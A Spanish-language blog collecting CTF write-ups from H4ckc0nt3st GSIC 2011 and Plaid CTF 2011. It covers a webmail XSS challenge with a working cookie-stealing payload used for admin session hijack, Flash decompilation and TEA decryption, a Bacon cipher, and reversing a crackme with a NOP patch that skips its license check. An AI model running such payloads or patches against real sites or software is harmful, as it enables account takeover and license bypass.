sábado, 30 de abril de 2011

WriteUp - Desafío 15 - H4ckc0nt3st GSIC 2011

En este desafío nos presentan un servicio de correo web sencillo y nos piden que obtengamos la contraseña del administrador.


Nos registramos en el servicio y curioseamos un poco para ver a qué nos enfrentamos… Tenemos un sencillo formulario para enviar mensajes a otros usuarios de la plataforma, una opción para revisar nuestros datos en la que podemos observar nuestra contraseña sin cifrar e incluso un amable mensaje de nuestro administrador indicándonos que si tenemos cualquier problema le escribamos a su cuenta ‘administrador’.


Parece que nos está pidiendo a gritos un XSS (si es que se le puede llamar así en este caso, ya que inyectamos código pero apuntando al mismo site), así que es lo primero que probamos, y de paso vemos el formato que necesitamos para enviar mensajes, que es autoexplicativo:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=prueba&cuerpo=<script>alert('xss')</script>

Hemos tenido suerte, porque al abrir el mensaje se nos abre el MessageBox esperado :-). Ahora tenemos que preparar el definitivo.


Antes de enviar el mensaje definitivo, nos creamos una segunda cuenta e hicimos pruebas entre ellas, para que no cantaran demasiado todas nuestras pruebas erróneas en el buzón del administrador, pero aquí pondremos los finales.


En primer lugar preparamos la url que queremos que visite nuestro administrador. Queremos robarle la cookie de sesión para poder ir al panel y obtener su contraseña, y nos valemos de la propia plataforma para que nos la envíe. Es decir, queremos que nos envíe un mensaje con su cookie, por lo que siguiendo el formato que hemos visto, debería visitar una url similar a la siguiente:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo=AQUI_LA_COOKIE

Para poder añadir el valor de la cookie a esa url debemos obtenerlo mediante javascript, y además no estamos seguros de que el administrador vaya a pinchar en nuestros enlaces, así que preferimos redirigirle automáticamente, con lo que el cuerpo de nuestro mensaje debe ser algo como esto:


<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo="+document.cookie</script>

Ahora sólo tenemos que enviarle el script, para lo que utilizamos la siguiente url, que envía nuestro mensaje con el payload deseado. Notar que en dicho payload ha habido que codificar los caracteres especiales en una url (?, =, &) para que no fueran interpretados en el primer envío por enviar.hc:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=administrador&asunto=prueba&cuerpo=<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc%3fpara%3dram%26asunto%3dtuclave%26cuerpo%3d"+document.cookie</script>

Ya hemos enviado el mensaje, ahora sólo nos queda esperar que el administrador lea sus mensajes y no tenga filtros especiales que impidan que funcione nuestro ataque. Esto es lo que más cuesta del desafío, porque el administrador se estaba echando una merecida siesta después del trabajo bien hecho ;-).


Cuando por fin accede, recibimos el correo que esperábamos con la cookie del administrador, la sustituimos por la nuestra en el navegador y accedemos al panel. Vamos a la opción de revisar la contraseña y conseguimos nuestro objetivo:



Introducimos ‘m41l_XSS’ en el formulario de la prueba y superamos el desafío.

WriteUp - Desafío 12 - H4ckc0nt3st GSIC 2011

En este desafío nos encontramos ante la siguiente página:

Introduciendo cualquier cosa en el primer campo y dando a “continuar” nos da el mensaje “No es lo que busco…”, mientras que rellenar el segundo campo y pulsar “desvelar” no tiene efecto aparente.

Recargando la página va cambiando la imagen del conejo, que vemos que tiene un nombre con un patrón numérico, por lo que decidimos descargar todas las imágenes y ver a dónde nos llevan.
import urllib2

base='https://10.20.63.1:6666/desafios/12/conejos/rabbit' #01.png

for a in range(1,9):
 fich=open('rabbit0'+str(a)+'.png','wb')
 page=urllib2.urlopen(base+'0'+str(a)+'.png')
 cont=page.read()
 fich.write(cont)
 fich.close()


for a in range(10,100):
 fich=open('rabbit'+str(a)+'.png','wb')
 page=urllib2.urlopen(base+str(a)+'.png')
 cont=page.read()
 fich.write(cont)
 fich.close()

De esta forma llegamos hasta el conejo 40. Mi script cutre no trata los errores, así que no ha seguido más allá, por lo que decido probar algún valor más manualmente y enseguida localizo una imagen algo rara en el número 100. Además, mirando alrededor de esta última encontramos también al conejo 99.

Viendo la pinta que tiene rabbit100.png, decidimos mirar su contenido mediante un editor hexadecimal, aunque aquí sólo mostramos la salida ASCII:

Parece que hay algún tipo de script dentro de la paleta de colores de la imagen, ahora sólo falta saber qué hacer con él.

Para ello miramos el código fuente de la página y vemos que los dos botones presentes en la página hacen ejecutan funciones javascript:
  window.onload = function(){
   document.getElementById("gtk").onclick = getKey;
   document.getElementById("dec").onclick = decrypt;
  }
 </script>
 <br/>
 <br/>
 <br/>
 <div class="tCentrado">
  <img width="150px" height="150px" src="./desafios/12/conejos/rabbit03.png"><br/>
  1. sigue al conejo para encontrar la llave de la primera puerta<br/>
  <br/>
  llave: <input type="text" value="" id="source">
  <input id="gtk" type="button" value=" continuar ">
  <input id="key" type="hidden" name="key" value=""><br/>
  <br/>
  2. tras la primera puerta encontrarás una segunda, que se abre con una nueva llave<br/>
  <br/>
  llave: <input type="text" id="dkey" name="dec">
  <input id="dec" type="button" value=" desvelar ">
 </div>

De momento necesitamos superar el primer paso, así que nos fijamos en la función getkey, que coge el dato introducido en el campo de texto y se lo pasa a la función loadData:

function getKey(){
  var source = document.getElementById("source").value;
  loadData(source,function(x){eval(x);estego();});
}

Viendo la definición de esta función parece que el primer parámetro que espera es un nombre de fichero:

function loadData(strFilename, fncCallback)
Como no tenemos ningún fichero más que los propios conejos, introducimos en el cuadro de texto la url del conejo número 100 y al darle a continuar recibimos el mensaje “funciona!”.
Esto tiene buena pinta, y como habíamos visto que el contenido de la imagen recordaba a un script, revisamos los que contiene la página web en el navegador y vemos que se ha añadido uno correctamente:

El script añadido completo es:

var xFakeOne = function (){alert("Lets make the image bigger!");}; estego = function(){document.getElementById("key").value="jjss11";};var z = function whatElseYouExpect(){alert("Let");}
En la función getKey ya habíamos visto que como callback de loadData se ejecutaba estego, y podemos comprobar que ha añadido el valor de la variable correctamente:

Sin más dilación, introducimos “jjss11” en el segundo cuadro de texto y pulsando desvelar superamos el desafío.


Para más información, el botón ‘desvelar’ llamaba a la función decrypt:

function decrypt(){
 var message = "KwLMGF6yZU0iCkCrWAJgmM5hKFvimZao6TWQR15jCbvy86ctBAjnlZ8u5h8idzjcXvpEHmpXz8gwxMMq5QqYWUvAZBN3pq5k1xk9G0KiydDN/v4poUXNRSu2rkLaChAS1MOfiuIx/GrZTEwMp4VoLgLmL5K8sTtiy3U+FQ==";
 var key = document.getElementById("dkey").value;
 var dec = Aes.Ctr.decrypt(message,key,256);
 eval(dec);
 exec();
}


Como se ve, descifra mediante AES-CTR el contenido de ‘message’, lo ejecuta y llama a la función exec. Aunque durante el concurso lo dejamos tras superar el desafío, si alguien tiene curiosidad, el contenido de ‘message’ es el siguiente:

var exec = function(){document.getElementById("respuesta").value="torrijin!";document.forms["formulario"].submit();}
Es decir, completa un formulario que no es visible en la página con el valor “torrijin!” y lo envía al servidor.

Por curiosidad, posteriormente he revisado qué pasaba con rabbit100.png con más detalle: la imagen se carga en un objeto canvas, que nos permite interactuar desde javascript con ella; para generar el script se coge un pixel de cada cuatro de la imagen; cada pixel referencia a un color de la paleta, y al ser una imagen en tonos de grises, cada color se codifica en un byte, en nuestro caso en un carácter. Como las secciones IDAT de un PNG van comprimidas, para verificar que esto cuadraba aproximadamente con lo obtenido, he descomprimido la sección con el siguiente script:

import zlib
import binascii
import re

seccion='08 99 01 D2 00 2D FF 00 01 03 05 07 09 0B 0C 0E 10 12 14 15 16 18 00 19 1B 1D 1E 20 22 24 26 27 28 2A 2C 2E 2F 00 31 32 33 34 35 37 39 3A 3B 3D 3E 40 41 42 00 43 44 45 47 48 49 4A 4B 4C 4E 4F 50 52 53 00 54 55 56 57 59 5A 5B 5D 5F 60 61 62 63 64 00 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 00 73 74 75 77 78 79 7A 7B 7C 7D 7E 80 81 82 00 83 85 86 87 88 89 8A 8B 8D 8F 91 92 93 94 00 95 96 97 98 99 9A 9C 9D 9E 9F A0 A1 A2 A4 00 A5 A6 A7 A9 AA AB AC AD AE AF B0 B1 B2 B4 00 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C2 C3 00 C4 C5 C6 C7 C8 C9 CB CC CD CE CF D1 D2 D3 00 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 00 E2 E3 E4 E5 E7 E8 E9 EA EB EC ED EE EF F0 93 19 63 39 03 61 4D 0C'
p=re.compile(' ')
seccionsinespacios=p.sub('',seccion)
seccionbinaria=binascii.unhexlify(seccionsinespacios)
salida=open('salida1.raw','wb')
salida.write(zlib.decompress( seccionbinaria[2:] , -15))
salida.close()

viernes, 29 de abril de 2011

WriteUp - Desafío 5 - H4ckc0nt3st GSIC 2011

Tenemos como referencia la palabra “Laconada” que aparece al colocar el ratón encima de los bloques.

Buscamos en www.cryptool-online.org y encontramos un tipo de codificación llamada “bacon” que consiste en:

Haciendo la conversión obtenemos la clave del desafio:

00101 – aabab – F

10000 – baaaa – R

00100 – aabaa - E

00110 – aabba - G

01101 – abbab - O

01100 – abbaa - N

00000 – aaaaa - A

00010 – aaaba - C

01101 – abbab - O

10001 – baaab - S

01011 – ababb - M

01000 – abaaa - I

00010 – aaaba - C

00000 – aaaaa - A


Solución: fregonacosmica

WriteUp - Desafío 11 - H4ckc0nt3st GSIC 2011

En este desafío debemos encontrar el código de desbloqueo de un móvil Android simulado en un objeto flash.


Haciendo alguna prueba al azar sólo conseguimos el mensaje “Lo sentimos, inténtelo de nuevo”

En primer lugar descargamos el .swf correspondiente y lo desensamblamos con la aplicación Flash Decompiler Trillix, obteniendo la siguiente estructura:


Observamos que la mayor parte del código ha sido ofuscado sustituyendo los nombres de clases, funciones y variables por cadenas semialeatorias que dificultan la interpretación de los entresijos del programa. Las pocas cosas que no están ofuscadas son pistas claras hacia la solución que no supe interpretar hasta haber hecho un análisis algo más completo de la aplicación.

Mirando por encima el código vemos un array de arrays dentro de la clase eMoUtd7A8h666 que apesta a cadenas de caracteres, pese a que algunos de los elementos está fuera del ASCII estándar:

//eMoUtd7A8h666
package
{
  public class eMoUtd7A8h666 extends Object
  {
    public function eMoUtd7A8h666()
    {
      super();
      return;
    }

    public static function byqBTJOaGW666(arg1:int, arg2:int):String
    {
      var loc1:*="";
      var loc2:*=ar[arg1];
      var loc3:*=0;
      while (loc3 < loc2.length)       {         loc1 = loc1 + String.fromCharCode(loc2[loc3] - arg2);         ++loc3;       }       return loc1;     }          {       ar = [[74, 111, 104, 123, 112, 107, 38, 107, 114, 38, 118, 103, 122, 120, 249, 116, 38, 118, 103, 120, 103, 38, 106, 107, 121, 104, 114, 117, 119, 123, 107, 103, 120], [68, 60, 61, 61, 62, 67, 63, 60, 63, 67, 68, 60, 61, 65, 109, 63, 68, 62, 65, 62, 114, 65, 67, 112, 63, 62, 60, 61, 113, 64, 60, 110], [58], [91, 126, 47, 130, 116, 125, 131, 120, 124, 126, 130, 59, 47, 120, 125, 131, 248, 125, 131, 116, 123, 126, 47, 115, 116, 47, 125, 132, 116, 133, 126], [85, 122, 115, 134, 123, 118, 49, 118, 125, 49, 129, 114, 133, 131, 260, 127, 49, 129, 114, 131, 114, 49, 117, 118, 132, 115, 125, 128, 130, 134, 118, 114, 131], [142, 132, 135, 144, 141, 138, 142], [], [], [], [63], [79], [54], [53], [73], [63], [84], [71], [74], [67], [114], [118], [91, 130, 90, 100, 64, 114, 81, 81, 83, 73, 70, 70, 70], [104], [116, 65, 62, 79, 127, 62, 126, 118, 110, 94, 67, 67, 67], [121], [65, 137], []];     }     internal static var ar:Array;   } }

También podemos ver una función bastante simple que parece decodificar cada cadena restando de cada carácter el número indicado como segundo parámetro. Para ver si las cadenas nos dan alguna pista, buscamos las llamadas a dicha función para recopilar el desplazamiento correspondiente a cada cadena.

>strings.exe -q -s *.as|grep byqBTJOaGW666
Lanzo el strings de Sysinternals previo al grep porque el grep de UnxUtils no encuentra las cadenas Unicode generadas por la exportación del Flash Decompiler Trillix.

Con estos datos preparamos un script en python:

import binascii

ar = [[74, 111, 104, 123, 112, 107, 38, 107, 114, 38, 118, 103, 122, 120, 249, 116, 38, 118, 103, 120, 103, 38, 106, 107, 121, 104, 114, 117, 119, 123, 107, 103, 120], [68, 60, 61, 61, 62, 67, 63, 60, 63, 67, 68, 60, 61, 65, 109, 63, 68, 62, 65, 62, 114, 65, 67, 112, 63, 62, 60, 61, 113, 64, 60, 110], [58], [91, 126, 47, 130, 116, 125, 131, 120, 124, 126, 130, 59, 47, 120, 125, 131, 248, 125, 131, 116, 123, 126, 47, 115, 116, 47, 125, 132, 116, 133, 126], [85, 122, 115, 134, 123, 118, 49, 118, 125, 49, 129, 114, 133, 131, 260, 127, 49, 129, 114, 131, 114, 49, 117, 118, 132, 115, 125, 128, 130, 134, 118, 114, 131], [142, 132, 135, 144, 141, 138, 142], [], [], [], [63], [79], [54], [53], [73], [63], [84], [71], [74], [67], [114], [118], [91, 130, 90, 100, 64, 114, 81, 81, 83, 73, 70, 70, 70], [104], [116, 65, 62, 79, 127, 62, 126, 118, 110, 94, 67, 67, 67], [121], [65, 137], []]

off = [6,12,14,15,17,27,17,21,11,15,30,4,2,21,10,30,16,18,10,17,20,16,4,13,19,17,22]

for a in range(0,len(ar)):
  cadena=''
  print "Cadena "+str(a)
  for b in range(0,len(ar[a])):
    cadena=cadena+chr(ar[a][b]-off[a])
  print cadena+'\n'

De esta forma obtenemos las cadenas disponibles.



Cadena 0
Dibuje el patr¾n para desbloquear

Cadena 1
80112730378015a38252f57d3201e40b

Cadena 2
,

Cadena 3
Lo sentimos, intÚntelo de nuevo

Cadena 4
Dibuje el patr¾n para desbloquear

Cadena 5
siluros

Cadena 6


Cadena 7


Cadena 8


Cadena 9
0

Cadena 10
1

Cadena 11
2

Cadena 12
3


Cadena 13
4

Cadena 14
5

Cadena 15
6

Cadena 16
7

Cadena 17
8

Cadena 18
9

Cadena 19
a

Cadena 20
b

Cadena 21
KrJT0bAAC9666

Cadena 22
d

Cadena 23
g41Br1qiaQ666

Cadena 24
f

Cadena 25
0x

Cadena 26


La cadena 1 no es llamada desde el código, así que hemos obtenido el desplazamiento por fuerza bruta, sólo para observar que coincide con una de las cadenas no ofuscadas que mostraba el código. Probablemente la habían ofuscado en primera instancia y después decidieron ponerla en claro para facilitar la solución basada en las pistas.

eIqyPOye1A666.as (1 hits)
Line 76: th4t1s = MLOSVylCb1666.hpys.utils.r3oAjJpsMZ666.k1TNULc6Sk666("80112730378015a38252f57d3201e40b");
También sorprende que donde podíamos esperar los caracteres ‘c’ y ‘e’ encontramos identificadores similares a los que ha generado la ofuscación. Los identificadores no se corresponden con nada que tengamos en el código decompilado y el array donde se incluyen está dentro de una función que no parece ser llamada desde ningún sitio, así que dejamos esto de lado.

Resumiendo, de momento no hemos encontrado gran cosa, y lo único que no parece obvio es la cadena ‘siluros’, que aún no sabemos para qué se utiliza, pero que también aparece sin ofuscar en el código.

MLOSVylCb1666\meychi\ascrypt3\_YOeZFRVpU666.as
Line 57: var loc4:*="teatime_siluros";

Aunque no consigo localizar el final exitoso para ir hacia atrás hasta la validación (me temo que aún no sé relacionar la información gráfica con el ActionScript que proporciona el decompilador), sí vemos el mensaje de fallo, y buscando dónde se utiliza observamos que la validación que necesitamos está en la función eIqyPOye1A666.JA2IBhhdu5666. Pese a esto, para entender mejor el programa decido rastrear la entrada de datos.

En el constructor de la clase eIqyPOye1A666 vemos el siguiente array con nueve elementos, que tiene toda la pinta de ser el array con los “botones”, así que vamos siguiendo qué ocurre con él:

this.qaqnUft5Aa666 = [this.one, this.two, this.three, this.four, this.five, this.six, this.seven, this.eight, this.nine];
Justo después se llama a la función eIqyPOye1A666. lj2WnmDGg6666, donde se añaden a cada “botón” manejadores para los eventos de MOUSE_DOWN o MOUSE_UP, concretamente eIqyPOye1A666.f9W2RUEehO666 y eIqyPOye1A666.HENyNE3kUZ666 respectivamente.

Para no extendernos demasiado en los detalles, cuando se pulsa sobre un botón, se mete una referencia a dicho botón en el array QQguJkqffe666 y se añade un manejador de MOUSE_OVER en todos los botones. Este manejador sigue añadiendo al array comentado todos los botones sobre los que vamos pasando, y al soltar el botón del ratón se quitan los manejadores para MOUSE_OVER y se llama a la función en la que tenemos la comprobación final que ya habíamos comentado antes eIqyPOye1A666.JA2IBhhdu5666.

En esta función observamos que se compara la secuencia introducida por nosotros (en el array QQguJkqffe666) con otra que ha obtenido de separar por comas (cadena 2) el resultado recibido al llamar a r3oAjJpsMZ666.k1TNULc6Sk666 con la cadena alfanumérica que ya nos ha llamado la atención previamente “80112730378015a38252f57d3201e40b”.


private function JA2IBhhdu5666():void{
  var Khwxjj96Ad666:* = 0;
  var mGQBBPZvp5666:* = null;
  var DtRwsK7NRk666:* = null;
  var _WqTfZQq9g666:* = 0;
  var tdQ5VNvK4q666:* = null;
  var oNWCfo_rcc666:* = null;
  var th4t1s:* = r3oAjJpsMZ666.k1TNULc6Sk666("80112730378015a38252f57d3201e40b");
  var bK5n5Gcq8Y666:* = th4t1s.split(eMoUtd7A8h666.byqBTJOaGW666(2, 14));

  var rIkvHB8wSa666:* = bK5n5Gcq8Y666.length;
  var DKlQa0mHrt666:* = 0;
  Khwxjj96Ad666 = 0;
  while (Khwxjj96Ad666 < rIkvHB8wSa666) {     if (bK5n5Gcq8Y666[Khwxjj96Ad666] == this.QQguJkqffe666[Khwxjj96Ad666]){       DKlQa0mHrt666 = (DKlQa0mHrt666 + 1);     };
    Khwxjj96Ad666 = (Khwxjj96Ad666 + 1);
  };
  if (DKlQa0mHrt666 == rIkvHB8wSa666){
    mGQBBPZvp5666 = new SecondView();
    addChild(mGQBBPZvp5666);
  } else {
    oNWCfo_rcc666 = function (_arg1:TimerEvent):void{
      texto.text = eMoUtd7A8h666.byqBTJOaGW666(4, 17);
      tdQ5VNvK4q666.removeEventListener(TimerEvent.TIMER, oNWCfo_rcc666);
      DtRwsK7NRk666.parent.removeChild(DtRwsK7NRk666);
    };
    this.texto.text = eMoUtd7A8h666.byqBTJOaGW666(3, 15);
    DtRwsK7NRk666 = new Shape();
    DtRwsK7NRk666.graphics.lineStyle(10, 0xFFD700, 1, false, LineScaleMode.VERTICAL, CapsStyle.NONE, JointStyle.MITER, 10);
    _WqTfZQq9g666 = this.WasP1Q_YeG666.length;
    DtRwsK7NRk666.graphics.moveTo(this.WasP1Q_YeG666[0], this.UsmsWUWxbi666[0]);
    Khwxjj96Ad666 = 0;
    while (Khwxjj96Ad666 < _WqTfZQq9g666) {       DtRwsK7NRk666.graphics.lineTo(this.WasP1Q_YeG666[Khwxjj96Ad666], this.UsmsWUWxbi666[Khwxjj96Ad666]);       Khwxjj96Ad666 = (Khwxjj96Ad666 + 1);     };     this.addChild(DtRwsK7NRk666);     tdQ5VNvK4q666 = new Timer(1500);     tdQ5VNvK4q666.start();     tdQ5VNvK4q666.addEventListener(TimerEvent.TIMER, oNWCfo_rcc666);   };   this.WasP1Q_YeG666 = [];   this.UsmsWUWxbi666 = [];   this.QQguJkqffe666 = []; }

Visto esto parece claro que si sabemos descifrar dicha cadena alfanumérica obtendremos la secuencia que necesitamos para desbloquear nuestro móvil. En principio esto podría ser inmediato modificando el ActionScript y compilándolo para que nos muestre dicha secuencia, pero mi ignorancia y limitaciones en este entorno no me lo permite, así que toca investigar qué hacen exactamente para descifrar la cadena.

Parece que tenemos una clase auxiliar con sólo tiene dos funciones, que enseguida suponemos que son cifrar y descifrar, que llaman a su vez a otra añadiendo en las llamadas un segundo parámetro que suponemos que es la clave y que es la cadena ‘siluros’ que habíamos visto antes.


//r3oAjJpsMZ666
package MLOSVylCb1666.hpys.utils
{
  import MLOSVylCb1666.meychi.ascrypt3.*;
 
  public class r3oAjJpsMZ666 extends Object
  {
    public function r3oAjJpsMZ666()
    {
      super();
      return;
    }

    public static function k1TNULc6Sk666(arg1:String):String
    {
      var loc1:*=new MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666();
      var loc2:*=loc1.N9SO84jcFw666(arg1, y4HgL82VZJ666);
      return loc2;
    }

    public static function HfM4eDkkN0666(arg1:String):String
    {
      var loc1:*=new MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666();
      var loc2:*=loc1.VretvlRcF9666(arg1, y4HgL82VZJ666);
      return loc2;
    }

    static const y4HgL82VZJ666:String=eMoUtd7A8h666.byqBTJOaGW666(5, 27);
  }
}

Parece que ya sólo nos queda ver qué es exactamente MLOSVylCb1666.meychi.ascrypt3._YOeZFRVpU666, y por suerte nos han dejado como pista parte de la ruta sin cifrar, así que investigando un poco por ascrypt rápidamente encontramos la web http://osflash.org/ascrypt, donde nos indica que uno de los cifrados soportado es TEA, y entonces nos acordamos de otra pista que nos habían dejado a la vista, la cadena ‘teatime_siluros’ sin cifrar, así que directamente intentamos descifrar mediante este algoritmo.

Para hacerlo, con el Cryptool codificamos los datos hexadecimales en base64.


Y gracias a la siguiente web obtenemos la secuencia deseada:


Introduciendo la secuencia asumiendo que los botones estaban numerados de arriba a abajo y de izquierda a derecha comprobamos que efectivamente es la solución deseada.


Solución más rápida


Al crear la prueba nos han dejado varias pistas, y siendo un poco receptivo hacia ellas y con un poco de cultura sobre algoritmos de cifrado que yo no tengo (no conocía el cifrado TEA), podíamos haber resuelto el reto mucho más rápido.

Nos han dejado a la vista la cadena a descifrar asignada a una variable que nos indicaba que era lo que debíamos buscar:

ActionScript 3.0\eIqyPOye1A666
Line 76: th4t1s = MLOSVylCb1666.hpys.utils.r3oAjJpsMZ666.k1TNULc6Sk666("80112730378015a38252f57d3201e40b");

También nos han dejado en claro la ruta al paquete de cifrado utilizado que ya hemos visto, y la pista definitiva, una referencia al algoritmo utilizado con la clave en claro en una variable no utilizada:

ActionScript 3.0\MLOSVylCb1666\meychi\ascrypt3\_YOeZFRVpU666.as (1 hits)
Line 57: var loc4:*="teatime_siluros";

Esto unido a la cadena ‘siluros’ que ya habíamos visto, el lugar donde se usa, y un análisis muy por encima de la aplicación debería permitir solucionar el reto bastante rápido a gente más despierta que yo :-/.

WriteUp - Desafío 9 - H4ckc0nt3st GSIC 2011

Este desafío nos ofrece un binario llamado RegMe.

En primer lugar probamos el ejecutable y observamos que pide dos datos, USER y REGISTER. Introduciendo datos al azar nos dice “ERROR DE REGISTRO!!!”. Dejando los campos en blanco nos indica el significado de los campos con el mensaje “Debes introducir un nombre y una clave de registro válida”.

Lo abrimos con el IDA Pro Free para observar el código ensamblador y analizarlo. La vista de grafo nos permite observar fácilmente el flujo del programa, y los distintos puntos de salida correspondientes a los trucos anti-debug. Para acelerar la localización del punto que nos interesa revisamos las cadenas del binario y vamos a la referencia a “Solucionado!!! la clave es: %s”. Analizamos el código alrededor de este punto…

Observamos la introducción de los datos y dónde los guarda:



Se realiza un hash SHA1 del usuario introducido y se inicializan variables para un bucle:



En cada vuelta del bucle coge un byte del hash calculado, hace un AND con 0xEE, lo pone en hexadecimal y lo compara con 2 caracteres de la cadena de registro introducida por el usuario.



Si coinciden, va al bloque en el que muestra la clave, por lo que deducimos que el número de registro debe ser el hash SHA1 del usuario “ANDeado” byte a byte con 0xEE y puesto en hexadecimal.

Calculamos el hash SHA1 de la cadena “yo”:
# echo -n yo > prue
# sha1sum prue
c41975d1dae1cc69b16ad8892b8c77164e84ca39 prue

Y realizamos el AND para obtener la cadena de registro con el siguiente script:
import hashlib
import binascii
from itertools import cycle, izip

def miand (ss, key):
key = cycle(key)
return ''.join(chr((ord(x) & ord(y))%256) for (x,y) in izip(ss, key))

mihash='c41975d1dae1cc69b16ad8892b8c77164e84ca39'
binascii.hexlify(miand(binascii.unhexlify(mihash),'\xee'))



Obtenemos la siguiente cadena:

'c40864c0cae0cc68a06ac8882a8c66064e84ca28'


Introduciendo el usuario y su correspondiente registro obtenemos la clave:

# ./RegMe
USER: yo
REGISTER: c40864c0cae0cc68a06ac8882a8c66064e84ca28
Solucionado!!! la clave es: anamanaguchi





Solución más rápida


La solución más rápida pasaría por evitar la comprobación del registro llevando el flujo al bloque en el que muestra la clave. En nuestro caso, bastaría con nopear el salto condicional que se ve en el bloque básico siguiente:





Para ello, con un editor hexadecimal cambiamos en el fichero binario los bytes 0F 8E 4C FF FF FF por 90 90 90 90 90 90.


Ejecutándolo con cualquier dato conseguimos la solución:


# ./RegMe
USER: aaa
REGISTER: aaa
Solucionado!!! la clave es: anamanaguchi

martes, 26 de abril de 2011

WriteUp - We play cards - Plaid CTF 2011

Nos encontramos ante una prueba criptográfica. Nos dan un vídeo y el siguiente texto a descifrar:

VFXFMFHJGHQXLIABIFNOHQEMYZKNXVCEBIDSJTFNRCLVSVUFNLWR

Vemos el vídeo y aparece un chico jugando al "Pirámide Solitario". Hacemos una búsqueda por Google de algún sistema criptográfico con algo de unión al juego, pronto nos aparecen referencias a Bruce Schneier y su algoritmo de cifrado "Solitaire".

Nos leemos una traducción de Jesús Cea del original de Bruce Schneier y después de comprender todo el sistema nos damos cuenta de que este tipo de cifrado se puede romper recomponiendo el mazo completo de cartas.

Visualizamos el vídeo apuntando el orden de salida de todas las cartas:

Una vez obtenemos un archivo .txt con el orden del mazo con el que cifraron el texto buscamos un software que nos facilite el descifrado del mismo. En la propia página de Bruce Schneier nos facilitan varios, nosotros empleamos "Solitaire" (C++ GUI).

Arrancamos Solitaire y cargamos el archivo .txt con todo el mazo y el texto a descifrar, pulsamos "Decrypt" y obtenemos la clave para superar el reto.


Clave: WHYDODINOSAURSSORTCARDSANDLOSEATSORTINGWHEREISTHEFUN


¡Felicitaciones a la organización y a todos los participantes!